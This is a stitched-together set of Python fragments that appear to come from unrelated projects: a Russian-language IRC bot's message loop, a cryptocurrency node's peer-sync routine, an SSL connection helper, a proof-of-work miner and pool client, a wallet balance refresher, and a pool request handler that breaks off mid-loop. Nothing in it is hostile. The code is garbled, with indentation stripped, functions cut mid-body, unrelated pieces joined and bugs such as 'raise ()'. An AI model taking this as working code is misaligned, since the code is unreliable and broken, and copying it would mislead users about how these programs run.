print("got line:[" + data + "]", flush=True)
if data == "":
print(
"data=='', self.irc_socket.close(), keepingConnection=False, iterating..."
)
self.irc_socket.close()
keepingConnection = False
continue
except UnicodeDecodeError as decodeException:
print(
f"UnicodeDecodeError {decodeException}, iterating..."
)
continue
tokens1 = data.split(" ")
sender_mask = None
dataTokensDelimitedByWhitespace = tokens1
# dataTokensDelimitedByWhitespace[0] :[email protected]
# dataTokensDelimitedByWhitespace[1] PRIVMSG
# dataTokensDelimitedByWhitespace[2] #ru
# OR
# dataTokensDelimitedByWhitespace[2] BichBot
# dataTokensDelimitedByWhitespace[3] :!курс
communicationsLineName = dataTokensDelimitedByWhitespace[
2] if len(
dataTokensDelimitedByWhitespace) > 2 else None
lineJoined = " ".join(
dataTokensDelimitedByWhitespace[3:]
) if len(dataTokensDelimitedByWhitespace) >= 4 else ""
sender = communicationsLineName
sent_by = dataTokensDelimitedByWhitespace[0][1:]
if len(tokens1) > 1 and tokens1[
1] == "433": # "Nickname is already in use" in data
self.botNickSalt = self.botNickSalt + 1
self.botName = self.BOT_NAME_PREFIX + str(
self.botNickSalt)
self.send('NICK ' + self.botName + '\r\n')
continue
if len(tokens1
) >= 4 and tokens1[1] == "MODE" and "+x" in tokens1[
3]: #:GreenBich MODE GreenBich :+x
self.send('JOIN ' + (",".join(self.channelsList)) +
' \r\n')
continue
#
if self.nickserv_password is not None and len(
tokens1
) > 1 and tokens1[
1] == "001": # 001 nick :Welcome to the Internet Relay Network
self.send('NICKSERV IDENTIFY ' +
self.nickserv_password + '\r\n')
if data.find('PING') != -1:
try:
print("ping_received")
self.send('PONG ' + data.split(" ")[1] + '\r\n')
print("pong sent with data_str")
except:
traceback.print_exc()
self.send('PONG')
print("pong sent without data_str")
continue
if data.find('PONG') != -1:
print("server pong_received")
self.pong_received = True
continue
# 001 welcome
spws = tokens1
if len(spws) > 1 and spws[1] == "001":
self.MyPingsToServerThread(self).start()
self.send('MODE ' + self.botName + ' +xB\r\n')
continue
ws_tokens = tokens1
try:
message = None
# got line:[:test2!~username@ipaddr PRIVMSG #channel :msg]
if len(ws_tokens) >= 4:
src = ws_tokens[0]
cmd = ws_tokens[1]
chan = ws_tokens[2]
msg = " ".join(ws_tokens[3:])
if cmd == "PRIVMSG":
name = src.split('!')[0][1:]
sender_mask = src[1:]
message = msg[1:]
print(__name__,
f"message: '{message}'",
flush=True)
try:
ip_user = None # "data.split('@',1)[1].split(' ',1)[0]
except:
print(__name__, 'error getting ip_user')
except:
traceback.print_exc()
sys.stderr.flush()
# got line:[:test1!~username@ipaddr NICK :test2]
try:
if len(ws_tokens) >= 3:
src = ws_tokens[0]
cmd = ws_tokens[1]
msg = " ".join(ws_tokens[2:])
if cmd == "NICK":
old_mask = src[1:]
print(__name__,
"old_mask: '" + old_mask + "'",
flush=True)
old_mask_split = old_mask.split("!")
new_nick = msg[1:]
new_mask = new_nick + "!" + old_mask_split[1]
print(__name__,
"new_mask: '" + new_mask + "'",
flush=True)
self.replace_nick_mask2ctx(
mask2ctx, old_mask, new_mask)
except:
traceback.print_exc()
sys.stderr.flush()
where_message = "unknown_where"
if self.enableother1 or self.connection_setting_or_None(
"enable_krako_translation"):
# print(__file__, "krako test")
try:
where_message = communicationsLineName
if message is not None and (message.startswith('!k') or message.startswith("!к")) and \
dataTokensDelimitedByWhitespace[1] == "PRIVMSG":
if self.grantCommand(sent_by,
communicationsLineName):
print(__name__,
"krako test success",
flush=True)
m = message.strip()
if m == "!k" or m == "!к":
print(
f"{__name__} krako: mask2ctx='{mask2ctx}', sender_mask='{sender_mask}'",
flush=True)
prev_msg = self.get_prev_msg(
mask2ctx, sender_mask)
print(
f"{__name__} krako translating prev_msg: '{prev_msg}'",
flush=True)
tr_txt = prev_msg
else:
tr_txt = m[2:].strip()
res_txt = translate_krzb.tr(tr_txt)
self.send(
f'PRIVMSG {where_message} :\x02перевод с кракозябьечьего:\x02 {res_txt}\r\n'
)
continue
except KeyboardInterrupt as ex:
tb.print_exc()
sys.stderr.flush()
self.send(
f'PRIVMSG {where_message} :\x02!k error:\x02 {ex}\r\n'
)
raise ex
except BaseException as ex:
tb.print_exc()
sys.stderr.flush()
self.send(
f'PRIVMSG {where_message} :\x02!k error:\x02 {ex}\r\n'
)
continue
"""
print(__name__, "before set_prev_msg: message='"+str(message)+"', sender_mask='"+str(sender_mask)+"'")
"""
if message is not None and sender_mask is not None:
# print(__name__, "set_prev_msg")
try:
self.set_prev_msg(mask2ctx, sender_mask, message)
print(__name__, "set_prev_msg left ok", flush=True)
except KeyboardInterrupt as e:
print(
__name__,
"set_prev_msg left with exception: KeyboardInterrupt",
flush=True)
raise e
except:
traceback.print_exc()
print(__name__,
"set_prev_msg left with exception",
flush=True)
# print(__name__, "point 3.1", flush=True)
if self.enableother1 or self.connection_setting_or_None(
"enable_hextoip"):
if ':!hextoip' in lineJoined and dataTokensDelimitedByWhitespace[
1] == "PRIVMSG":
if self.grantCommand(sent_by,
communicationsLineName):
print(__file__, "hextoip test success")
try:
hex_value = message.split('!hextoip ',
1)[1].strip()
self.send(
'PRIVMSG ' + communicationsLineName +
' :\x02hextoip:\x02 ' +
self.convert_hex_to_ip(hex_value) +
'\r\n')
except KeyboardInterrupt:
raise
except BaseException as e:
traceback.print_exc()
self.send(
f'PRIVMSG {communicationsLineName} :\x02hextoip:\x02 error: {str(e)}.\r\n'
)
continue
"""if 'PRIVMSG '+channel+' :!help' in data or 'PRIVMSG '+self.botName+' :!справка' in data or 'PRIVMSG '+self.botName+' :!помощь' in data or 'PRIVMSG '+self.botName+' :!хелп' in data:
self.send('NOTICE %s : Помощь по командам бота:\r\n' %(name))
self.send('NOTICE %s : ***Функция опроса: [!опрос (число) сек (тема опрос)], например\
(пишем без кавычек: \"!опрос 60 сек Вы любите ониме?\", если не писать время, то время\
установится на 60 сек\r\n' %(name))
self.send('NOTICE %s : ***Функция курса: просто пишите (без кавычек): "%s, курс". Писать\
можно и в приват боту\r\n' %(name, bot_nick))
self.send('NOTICE %s : ***Функция whois: что бы узнать расположение IP, просто пишите\
(без кавычек): \"!где айпи (IP)\", пример: \"!где айпи \
188.00.00.01\". Писать можно и в приват к боту\r\n' %(name))
self.send('NOTICE %s : ***Функция перевода с английских букв на русские: \"!п tekst perevoda\", пример: \"!п ghbdtn\r\n' %(name))
"""
# Anti-flood
# print(__name__, "point 3.2", flush=True)
while_count += 1
if while_count == 50:
while_count = 0
dict_count = {}
# print(__name__, "point 3.3", flush=True)
# Insert nick in dict: dic_count.
if data.find('PRIVMSG') != -1 and name not in dict_count and \
name not in list_floodfree:
dict_count[name] = int(1)
# if 'PRIVMSG '+channel in data:
# where_message = channel #todo
if 'PRIVMSG ' + self.botName in data:
where_message = self.botName
else:
where_message = None
# If new message as last message: count +1.
if data.find('PRIVMSG') != -1 and message == dict_users.get(name) \
and name not in list_floodfree:
dict_count[name] += int(1)
# print(__name__, "point 3.4", flush=True)
if data.find(
'PRIVMSG') != -1 and name not in list_floodfree:
dict_users[name] = message
# Message about flood and kick.
# if data.find('PRIVMSG') != -1 and name not in list_floodfree:
# for key in dict_count:
# if dict_count[key] == 3 and key != 'none':
# self.send('PRIVMSG '+where_message+' :'+key+', Прекрати флудить!\r\n')
# dict_count[key] += 1
# elif dict_count[key] > 5 and key != 'none':
# self.send('KICK '+channel+' '+key+' :Я же сказал не флуди!\r\n')
# dict_count[key] = 0
# Out command.
"""
if data.find('PRIVMSG '+channel+' :!quit') != -1 and name == masterName:
self.send('PRIVMSG '+channel+' :Хорошо, всем счастливо оставаться!\r\n')
self.send('QUIT\r\n')
sys.exit()
"""
# Messages by bot.
"""
if "PRIVMSG %s :!напиши "%(channel) in data or\
"PRIVMSG %s :!напиши "%(self.botName) in data and name == masterName:
mes_per_bot = message.split('!напиши ',1)[1]
self.send(mes_per_bot)
"""
# print(__name__, "point 2.3", flush=True)
if self.enableother1:
"""
if 'PRIVMSG ' + channel + ' :!где айпи' in data \
or 'PRIVMSG ' + self.botName + ' :!где айпи' in data:
if self.grantCommand(sent_by, communicationsLineName):
if 'PRIVMSG ' + channel + ' :!где айпи' in data:
where_message_whois = channel
elif 'PRIVMSG ' + self.botName + ' :!где айпи' in data:
where_message_whois = name
try:
whois_ip = data.split('!где айпи ', 1)[1].split('\r', 1)[0].strip()
get_whois = whois.whois(whois_ip)
print(get_whois)
country_whois = get_whois['country']
city_whois = get_whois['city']
address_whois = get_whois['address']
if country_whois == None:
country_whois = 'Unknown'
if city_whois == None:
city_whois = 'Unknown'
if address_whois == None:
address_whois = 'Unknown'
whois_final_reply = ' \x02IP:\x02 ' + whois_ip + ' \x02Страна:\x02 ' + \
country_whois + ' \x02Адрес:\x02 ' + address_whois
self.send('PRIVMSG ' + where_message_whois + ' :' + whois_final_reply + '\r\n')
except:
print('get Value Error in whois service!')
self.send('PRIVMSG ' + where_message_whois + ' :Ошибка! Вводите только IP адрес \
из цифр, разделенных точками!\r\n')
# Info from link at channel
if self.enableother1 and self.titleEnabled:
if 'PRIVMSG %s :' % (channel) in data and '.png' not in data and '.jpg' not in data and '.doc' \
not in data and 'tiff' not in data and 'gif' not in data and '.jpeg' not in data and '.pdf' not in data:
if 'http://' in data or 'https://' in data or 'www.' in data:
if self.grantCommand(sent_by, communicationsLineName):
try:
self.send('PRIVMSG %s :%s\r\n' % (channel, link_title(data)))
except requests.exceptions.ConnectionError:
print('Ошибка получения Title (requests.exceptions.ConnectionError)')
self.send('PRIVMSG ' + channel + ' :Ошибка ConnectionError\r\n')
except:
traceback.print_exc()
# voting
# print(__name__, "point 2.2", flush=True)
t = time.time()
if self.enableother1:
if '!стоп опрос' in data and 'PRIVMSG' in data and name == masterName:
t2 = 0
print('счетчик опроса сброшен хозяином!')
if self.enableother1:
if 'PRIVMSG ' + channel + ' :!опрос ' in data and ip_user not in list_bot_not_work:
if self.grantCommand(sent_by, communicationsLineName):
if t2 == 0 or t > t2 + time_vote:
if ' сек ' not in data:
time_vote = 60
# Make variable - text-voting-title form massage.
message_voting = message.split('!опрос', 1)[1].strip()
if ' сек ' in data:
try:
# Get time of timer from user message.
time_vote = int(message.split('!опрос', 1)[1].split('сек', 1)[0].strip())
# Make variable - text-voting-title form massage.
message_voting = message.split('!опрос', 1)[1].split('сек', 1)[1].strip()
except:
time_vote = 60
# Make variable - text-voting-title form massage.
message_voting = message.split('!опрос', 1)[1].strip()
if min_timer > time_vote or max_timer < time_vote:
self.send('PRIVMSG %s :Ошибка ввода таймера голосования.\
Введите от %s до %s сек!\r\n' % (channel, min_timer, max_timer))
continue
t2 = time.time()
count_vote_plus = 0
count_vote_minus = 0
vote_all = 0
count_voting = 0
list_vote_ip = []
# Do null voting massiv.
dict_voted = {}
self.send('PRIVMSG %s :Начинается опрос: \"%s\". Опрос будет идти \
%d секунд. Чтобы ответить "да", пишите: \"!да\" \
", чтобы ответить "нет", пишите: \"!нет\". Писать можно как открыто в канал,\
так и в приват боту, чтобы голосовать анонимно \r\n' % (channel, message_voting, time_vote))
list_vote_ip = []
# If find '!да' count +1.
if self.enableother1:
if data.find('PRIVMSG ' + channel + ' :!да') != -1 or data.find(
'PRIVMSG ' + self.botName + ' :!да') != -1:
if ip_user not in list_vote_ip and t2 != 0:
count_vote_plus += 1
dict_voted[name] = 'yes'
list_vote_ip.append(ip_user)
# Make notice massage to votes user.
self.send('NOTICE ' + name + ' :Ваш ответ \"да\" учтен!\r\n')
# If find '!нет' count +1.
if self.enableother1:
if data.find('PRIVMSG ' + channel + ' :!нет') != -1 or data.find(
'PRIVMSG ' + self.botName + ' :!нет') != -1:
if ip_user not in list_vote_ip and t2 != 0:
count_vote_minus += 1
dict_voted[name] = 'no'
list_vote_ip.append(ip_user)
# Make notice massage to votes user.
self.send('NOTICE ' + name + ' :Ваш ответ \"нет\" учтен!\r\n')
# If masterName self.send '!список голосования': self.send to him privat messag with dictonary Who How voted.
if self.enableother1:
if data.find('PRIVMSG ' + self.botName + ' :!список опроса') != -1 and name == masterName:
for i in dict_voted:
self.send('PRIVMSG ' + masterName + ' : ' + i + ': ' + dict_voted[i] + '\r\n')
# Count how much was message in channel '!голосование'.
if self.enableother1:
if data.find('PRIVMSG ' + channel + ' :!опрос') != -1 and t2 != 0:
count_voting += 1
print(__name__, "point 2.1", flush=True)
# If voting is not end, and users self.send '!голосование...': self.send message in channel.
t4 = time.time()
if self.enableother1:
if data.find('PRIVMSG ' + channel + ' :!опрос') != -1 and t4 - t2 > 5:
t3 = time.time()
time_vote_rest_min = (time_vote - (t3 - t2)) // 60
time_vote_rest_sec = (time_vote - (t3 - t2)) % 60
if (time_vote - (t3 - t2)) > 0:
self.send('PRIVMSG %s : Предыдущий опрос: \"%s\" ещё не окончен, до окончания \
опроса осталось: %d мин %d сек\r\n \
' % (channel, message_voting, time_vote_rest_min, time_vote_rest_sec))
# Make variable message rusults voting.
vote_all = count_vote_minus + count_vote_plus
voting_results = 'PRIVMSG %s : результаты опроса: \"%s\", "Да" ответило: %d \
человек(а), "Нет" ответило: %d человек(а), Всего ответило: %d человек(а) \
\r\n' % (channel, message_voting, count_vote_plus, count_vote_minus, vote_all)
# When voting End: self.send to channel ruselts and time count to zero.
if t-t2 > time_vote and t2 != 0:
t2 = 0
self.send('PRIVMSG '+channel+' : Опрос окончен!\r\n')
self.send(voting_results)
"""
print("calling maybe_print_news()", flush=True)
self.maybe_print_news(self.botName, data)
self.maybe_print_search(self.botName, data, sent_by)
if self.maybe_quotes(data, sent_by,
communicationsLineName):
print("maybe_quotes() returned True, continuing loop",
flush=True)
continue
else:
print("maybe_quotes() returned False", flush=True)
# if self.maybe_choice(self.botName, data): continue
#:[email protected] PRIVMSG #ru :!курс
#:[email protected] PRIVMSG BichBot :Чтобы получить войс, ответьте на вопрос: Как называется blah blah?
where_mes_exc = communicationsLineName
# print(__name__, "point 4.1", flush=True)
if len(dataTokensDelimitedByWhitespace) > 3:
# print(__name__, "point 4.2", flush=True)
fe_msg = "FreiEx(GST): N/A"
line = " ".join(dataTokensDelimitedByWhitespace[3:])
is_in_private_query = where_mes_exc == self.botName
bot_mentioned = self.botName in line
commWithBot = is_in_private_query or bot_mentioned
# print(__name__, f"point 4.3, line: '{line}', commWithBot: '{commWithBot}'", flush=True)
try:
if 'курс' in line and commWithBot:
if self.grantCommand(sent_by,
communicationsLineName):
print(__name__, 'курс', flush=True)
is_dialogue_with_master = False
if where_mes_exc == self.botName: # /query
tokensNick1 = dataTokensDelimitedByWhitespace[
0].split("!")
tokensNick1 = tokensNick1[0].split(":")
tokensNick1 = tokensNick1[1]
where_mes_exc = tokensNick1
is_dialogue_with_master = self.master_secret in line
if is_dialogue_with_master:
self.send('PRIVMSG %s :%s\r\n' %
(where_mes_exc,
"hello, Master!"))
print('курс куда слать будем:',
where_mes_exc,
"is_dialogue_with_master:",
is_dialogue_with_master,
flush=True)
s = self.compose_markets_report(
irc_markup_bool=True)
self.send('PRIVMSG %s :\x033%s\r\n' %
(where_mes_exc, s))
print(__name__, "point 6.1", flush=True)
# print(__name__, "point 5.0", flush=True)
except:
# print(__name__, "point 5.1", flush=True)
tb.print_exc()
import sys
sys.stderr.flush()
raise ()
except KeyboardInterrupt:
raise
except:
import traceback as tb
tb.print_exc()
import sys
sys.stderr.flush()
print("self.irc_socket.close(), iterate", flush=True)
try:
self.irc_socket.close()
except KeyboardInterrupt as e:
raise e
except:
import traceback as tb
tb.print_exc()
import sys
sys.stderr.flush()
continue
def peersync(self, subdata):
"""Got a peers list from a peer, process. From worker()."""
# early exit to reduce future levels
if not self.config.accept_peers:
return
if self.peersync_lock.locked():
self.app_log.info("Outbound: Peer sync occupied")
return
self.peersync_lock.acquire()
try:
if "(" in str(subdata): # OLD WAY
server_peer_tuples = re.findall("'([\d.]+)', '([\d]+)'",
subdata)
self.app_log.info(
f"Received following {len(server_peer_tuples)} peers: {server_peer_tuples}"
)
with open(self.peerfile, "r") as peer_file:
peers = json.load(peer_file)
for pair in set(server_peer_tuples): # set removes duplicates
if pair not in peers and self.accept_peers:
self.app_log.info(
f"Outbound: {pair} is a new peer, saving if connectible"
)
try:
s_purge = socks.socksocket()
if self.config.tor:
s_purge.setproxy(socks.PROXY_TYPE_SOCKS5,
"127.0.0.1", 9050)
s_purge.connect(
(pair[0], int(pair[1]))
) # save a new peer file with only active nodes
s_purge.close()
# suggested
with open(
self.suggested_peerfile) as peers_existing:
peers_suggested = json.load(peers_existing)
if pair not in peers_suggested:
peers_suggested[pair[0]] = pair[1]
with open(self.suggested_peerfile,
"w") as peer_list_file:
json.dump(peers_suggested,
peer_list_file)
# suggested
peers[pair[0]] = pair[1]
with open(self.peerfile, "w") as peer_file:
json.dump(peers, peer_file)
except:
pass
self.app_log.info("Not connectible")
else:
self.app_log.info(
f"Outbound: {pair} is not a new peer")
else:
# json format
self.app_log.info(
f"Received following {len(json.loads(subdata))} peers: {subdata}"
)
for ip, port in json.loads(subdata).items():
if ip not in self.peer_dict.keys():
self.app_log.info(
f"Outbound: {ip}:{port} is a new peer, saving if connectible"
)
try:
s_purge = socks.socksocket()
if self.config.tor:
s_purge.setproxy(socks.PROXY_TYPE_SOCKS5,
"127.0.0.1", 9050)
s_purge.connect(
(ip, int(port))
) # save a new peer file with only active nodes
s_purge.close()
if ip not in self.peer_dict.keys():
self.peer_dict[ip] = port
except:
pass
self.app_log.info("Not connectible")
else:
self.app_log.info(
f"Outbound: {ip}:{port} is not a new peer")
finally:
self.peersync_lock.release()
def connect_ssl(self, ip, port=443, sni="", close_cb=None):
if sni:
host = sni
else:
sni, host = self.host_manager.get_sni_host(ip)
host = str(host)
sni = str(sni)
if int(self.config.PROXY_ENABLE):
sock = socks.socksocket(socket.AF_INET if ':' not in
ip else socket.AF_INET6)
else:
sock = socket.socket(socket.AF_INET if ':' not in
ip else socket.AF_INET6)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# set struct linger{l_onoff=1,l_linger=0} to avoid 10048 socket error
sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack('ii', 1, 0))
# resize socket recv buffer 8K->32K to improve browser releated application performance
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 32 * 1024)
sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, True)
sock.settimeout(self.timeout)
ssl_sock = openssl_wrap.SSLConnection(self.openssl_context.context,
sock,
ip,
on_close=close_cb)
ssl_sock.set_connect_state()
if sni:
try:
ssl_sock.set_tlsext_host_name(sni)
except:
pass
time_begin = time.time()
ip_port = (ip, port)
try:
ssl_sock.connect(ip_port)
time_connected = time.time()
ssl_sock.do_handshake()
except Exception as e:
raise socket.error('conn fail, sni:%s, top:%s e:%r' %
(sni, host, e))
if self.connect_force_http1:
ssl_sock.h2 = False
elif self.connect_force_http2:
ssl_sock.h2 = True
else:
try:
h2 = ssl_sock.get_alpn_proto_negotiated()
if h2 == "h2":
ssl_sock.h2 = True
else:
ssl_sock.h2 = False
except Exception as e:
# xlog.exception("alpn:%r", e)
if hasattr(ssl_sock._connection,
"protos") and ssl_sock._connection.protos == "h2":
ssl_sock.h2 = True
else:
ssl_sock.h2 = False
time_handshaked = time.time()
ssl_sock.sni = sni
self.check_cert(ssl_sock)
connect_time = int((time_connected - time_begin) * 1000)
handshake_time = int((time_handshaked - time_begin) * 1000)
# sometimes, we want to use raw tcp socket directly(select/epoll), so setattr it to ssl socket.
ssl_sock.ip = ip
ssl_sock._sock = sock
ssl_sock.fd = sock.fileno()
ssl_sock.create_time = time_begin
ssl_sock.connect_time = connect_time
ssl_sock.handshake_time = handshake_time
ssl_sock.last_use_time = time_handshaked
ssl_sock.host = host
ssl_sock.received_size = 0
return ssl_sock
def create_connection(self,address, timeout=None, source_address=None):
sock = socks.socksocket()
sock.connect(address)
return sock
def miner(q, privatekey_readable, public_key_hashed, address):
from Crypto.PublicKey import RSA
Random.atfork()
rndfile = Random.new()
tries = 0
firstrun = True
begin = time.time()
key = RSA.importKey(privatekey_readable)
if pool_conf == 1:
#do not use pools public key to sign, signature will be invalid
self_address = address
address = pool_address
#ask for diff percentage
s_pool = socks.socksocket()
s_pool.settimeout(0.3)
if tor_conf == 1:
s_pool.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
s_pool.connect((pool_ip_conf, 8525)) # connect to pool
print("Connected")
print(
"Miner: Asking pool for share qualification difficulty requirement"
)
connections.send(s_pool, "diffp", 10)
pool_diff_percentage = int(connections.receive(s_pool, 10))
print(
"Miner: Received pool for share qualification difficulty requirement: {}%"
.format(pool_diff_percentage))
s_pool.close()
#ask for diff percentage
while True:
try:
# calculate new hash
nonces = 0
# calculate difficulty
s_node = socks.socksocket()
if tor_conf == 1:
s_node.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
s_node.connect((node_ip_conf, int(port))) # connect to local node
connections.send(s_node, "blocklast", 10)
blocklast = connections.receive(s_node, 10)
db_block_hash = blocklast[7]
connections.send(s_node, "diffget", 10)
diff = connections.receive(s_node, 10)
s_node.close()
diff = int(diff[1])
diff_real = int(diff)
if pool_conf == 0:
diff = int(diff)
else: # if pooled
diff_pool = diff_real
diff = percentage(pool_diff_percentage, diff_real)
if diff > diff_pool:
diff = diff_pool
mining_condition = bin_convert(db_block_hash)[0:diff]
# block_hash = hashlib.sha224(str(block_send) + db_block_hash).hexdigest()
while tries < diff_recalc_conf:
start = time.time()
nonce = hashlib.sha224(rndfile.read(16)).hexdigest()[:32]
mining_hash = bin_convert(
hashlib.sha224(
(address + nonce +
db_block_hash).encode("utf-8")).hexdigest())
end = time.time()
if tries % 2500 == 0: #limit output
try:
cycles_per_second = 1 / (end - start)
print(
"Thread{} {} @ {:.2f} cycles/second, difficulty: {}({}), iteration: {}"
.format(q, db_block_hash[:10], cycles_per_second,
diff, diff_real, tries))
except:
pass
tries = tries + 1
if mining_condition in mining_hash:
tries = 0
print("Thread {} found a good block hash in {} cycles".
format(q, tries))
# serialize txs
block_send = []
del block_send[:] # empty
removal_signature = []
del removal_signature[:] # empty
s_node = socks.socksocket()
if tor_conf == 1:
s_node.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1",
9050)
s_node.connect((node_ip_conf,
int(port))) # connect to config.txt node
connections.send(s_node, "mpget", 10)
data = connections.receive(s_node, 10)
s_node.close()
if data != "[]":
mempool = data
for mpdata in mempool:
transaction = (str(mpdata[0]), str(mpdata[1][:56]),
str(mpdata[2][:56]),
'%.8f' % float(mpdata[3]),
str(mpdata[4]), str(mpdata[5]),
str(mpdata[6]), str(mpdata[7])
) # create tuple
# print transaction
block_send.append(
transaction
) # append tuple to list for each run
removal_signature.append(
str(mpdata[4]
)) # for removal after successful mining
# claim reward
block_timestamp = '%.2f' % time.time()
transaction_reward = (str(block_timestamp),
str(address[:56]), str(address[:56]),
'%.8f' % float(0), "0", str(nonce)
) # only this part is signed!
# print transaction_reward
h = SHA.new(str(transaction_reward).encode("utf-8"))
signer = PKCS1_v1_5.new(key)
signature = signer.sign(h)
signature_enc = base64.b64encode(signature)
if signer.verify(h, signature) == True:
print("Signature valid")
block_send.append(
(str(block_timestamp), str(address[:56]),
str(address[:56]), '%.8f' % float(0),
str(signature_enc.decode("utf-8")),
str(public_key_hashed.decode("utf-8")), "0",
str(nonce))) # mining reward tx
print("Block to send: {}".format(block_send))
if not any(
isinstance(el, list) for el in block_send
): # if it's not a list of lists (only the mining tx and no others)
new_list = []
new_list.append(block_send)
block_send = new_list # make it a list of lists
# claim reward
# include data
tries = 0
# submit mined block to node
if sync_conf == 1:
check_uptodate(300)
if pool_conf == 1:
mining_condition = bin_convert(
db_block_hash)[0:diff_real]
if mining_condition in mining_hash:
print(
"Miner: Submitting block to all nodes, because it satisfies real difficulty too"
)
nodes_block_submit(block_send)
try:
s_pool = socks.socksocket()
s_pool.settimeout(0.3)
if tor_conf == 1:
s_pool.setproxy(socks.PROXY_TYPE_SOCKS5,
"127.0.0.1", 9050)
s_pool.connect(
(pool_ip_conf, 8525)) # connect to pool
print("Connected")
print(
"Miner: Proceeding to submit mined block to pool"
)
connections.send(s_pool, "block", 10)
connections.send(s_pool, self_address, 10)
connections.send(s_pool, block_send, 10)
s_pool.close()
print("Miner: Block submitted to pool")
except Exception as e:
print("Miner: Could not submit block to pool")
pass
if pool_conf == 0:
nodes_block_submit(block_send)
else:
print("Invalid signature")
tries = 0
except Exception as e:
print(e)
time.sleep(0.1)
if debug_conf == 1:
raise
else:
pass
def refresh():
global balance
# print "refresh triggered"
try:
s = socks.socksocket()
s.connect((node_ip_conf, int(port)))
connections.send(s, "balanceget", 10)
connections.send(
s, address,
10) # change address here to view other people's transactions
stats_account = connections.receive(s, 10)
balance = stats_account[0]
credit = stats_account[1]
debit = stats_account[2]
fees = stats_account[3]
rewards = stats_account[4]
app_log.warning("Transaction address balance: {}".format(balance))
connections.send(s, "blocklast", 10)
block_get = connections.receive(s, 10)
bl_height = block_get[0]
db_timestamp_last = block_get[1]
s.close()
except: # get locally
app_log.warning(
"Unable to start in light mode, using local db for balance calculation"
)
# global balance
# print "refresh triggered"
m.execute(
"SELECT count(amount), sum(amount) FROM transactions WHERE address = ?;",
(address, ))
result = m.fetchall()[0]
if result[1] != None:
debit_mempool = float(
result[1]) + float(result[1]) * 0.001 + int(result[0]) * 0.01
else:
debit_mempool = 0
c.execute("SELECT sum(amount) FROM transactions WHERE recipient = ?;",
(address, ))
credit = c.fetchone()[0]
c.execute("SELECT sum(amount) FROM transactions WHERE address = ?;",
(address, ))
debit = c.fetchone()[0]
c.execute("SELECT sum(fee) FROM transactions WHERE address = ?;",
(address, ))
fees = c.fetchone()[0]
c.execute("SELECT sum(reward) FROM transactions WHERE address = ?;",
(address, ))
rewards = c.fetchone()[0]
c.execute("SELECT MAX(block_height) FROM transactions")
bl_height = c.fetchone()[0]
debit = 0 if debit is None else float('%.8f' % debit)
fees = 0 if fees is None else float('%.8f' % fees)
rewards = 0 if rewards is None else float('%.8f' % rewards)
credit = 0 if credit is None else float('%.8f' % credit)
balance = '%.8f' % (credit - debit - fees + rewards - debit_mempool)
app_log.warning("Node: Transction address balance: {}".format(balance))
# calculate diff
c.execute(
"SELECT * FROM transactions WHERE reward != 0 ORDER BY block_height DESC LIMIT 1;"
) # or it takes the first
result = c.fetchall()
db_timestamp_last = float(result[0][1])
# print db_timestamp_last
db_block_height = result[0][0]
# print timestamp_avg
try:
if encode_var.get() == 1:
openfield_input = base64.b64encode(
str(openfield.get("1.0", END).strip()))
else:
openfield_input = str(openfield.get("1.0", END)).strip()
fee = '%.8f' % float(0.01 + (float(len(openfield_input)) / 100000) +
int(keep_var.get())) # 0.01 dust
app_log.warning("Fee: {}".format(fee))
except Exception as e:
fee = 0.01
app_log.warning("Fee error: {}".format(e))
# calculate fee
# check difficulty
try:
s = socks.socksocket()
s.connect((node_ip_conf, int(port)))
connections.send(s, "diffget", 10)
diff = connections.receive(s, 10)
s.close()
except: # get locally
app_log.warning(
"Unable to start in light mode, using local db for difficulty calculation"
)
diff = difficulty(c)
# check difficulty
diff_msg = diff[1]
# network status
time_now = str(time.time())
last_block_ago = float(time_now) - float(db_timestamp_last)
if last_block_ago > 300:
sync_msg = "{}m behind".format((int(last_block_ago / 60)))
sync_msg_label.config(fg='red')
else:
sync_msg = "Up to date\nLast block: {}s ago".format(
(int(last_block_ago)))
sync_msg_label.config(fg='green')
# network status
# aliases
# c.execute("SELECT openfield FROM transactions WHERE address = ? AND openfield LIKE ?;",(address,)+("alias="+'%',))
# aliases = c.fetchall()
# app_log.warning("Aliases: "+str(aliases))
# aliases
# fees_current_var.set("Current Fee: {}".format('%.8f' % float(fee)))
balance_var.set("Balance: {}".format('%.8f' % float(balance)))
debit_var.set("Spent Total: {}".format('%.8f' % float(debit)))
credit_var.set("Received Total: {}".format('%.8f' % float(credit)))
fees_var.set("Fees Paid: {}".format('%.8f' % float(fees)))
rewards_var.set("Rewards: {}".format('%.8f' % float(rewards)))
bl_height_var.set("Block Height: {}".format(bl_height))
diff_msg_var.set("Mining Difficulty: {}".format('%.2f' % float(diff_msg)))
sync_msg_var.set("Network: {}".format(sync_msg))
table()
def handle(self):
peer_ip = self.request.getpeername()[0]
data = connections.receive(self.request, 10)
app_log.warning("Received: {} from {}".format(
data, peer_ip)) # will add custom ports later
if data == 'diffp':
app_log.warning(
"Sending the share qualification difficulty requirement: {}%".
format(diff_percent_number))
connections.send(self.request, diff_percent_number, 10)
if data == "block": # from miner to node
# sock
s1 = socks.socksocket()
if tor_conf == 1:
s1.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
s1.connect((node_ip_conf, int(port))) # connect to local node,
# sock
# receive block
miner_address = connections.receive(self.request, 10)
app_log.warning("Received a block from miner {} ({})".format(
peer_ip, miner_address))
block_send = connections.receive(self.request, 10)
nonce = (block_send[-1][7])
app_log.warning("Combined mined segments: {}".format(block_send))
#print(nonce)
#print(block_send)
#print(miner_address)
# check difficulty
app_log.warning("Asking node for difficulty")
diff = int(diffget(s1))
app_log.warning("Calculated difficulty: {}".format(diff))
# check difficulty
app_log.warning("Asking node for last block")
# get last block
connections.send(s1, "blocklast", 10)
blocklast = connections.receive(s1, 10)
db_block_hash = blocklast[7]
# get last block
app_log.warning("Last Hash: {}".format(db_block_hash))
mining_hash = bin_convert(
hashlib.sha224((address + nonce +
db_block_hash).encode("utf-8")).hexdigest())
mining_condition = bin_convert(db_block_hash)[0:diff]
if mining_condition in mining_hash:
app_log.warning("Difficulty requirement satisfied for mining")
app_log.warning("Sending block to node {}".format(peer_ip))
global peer_dict
peer_dict = {}
with open("peers.txt") as f:
for line in f:
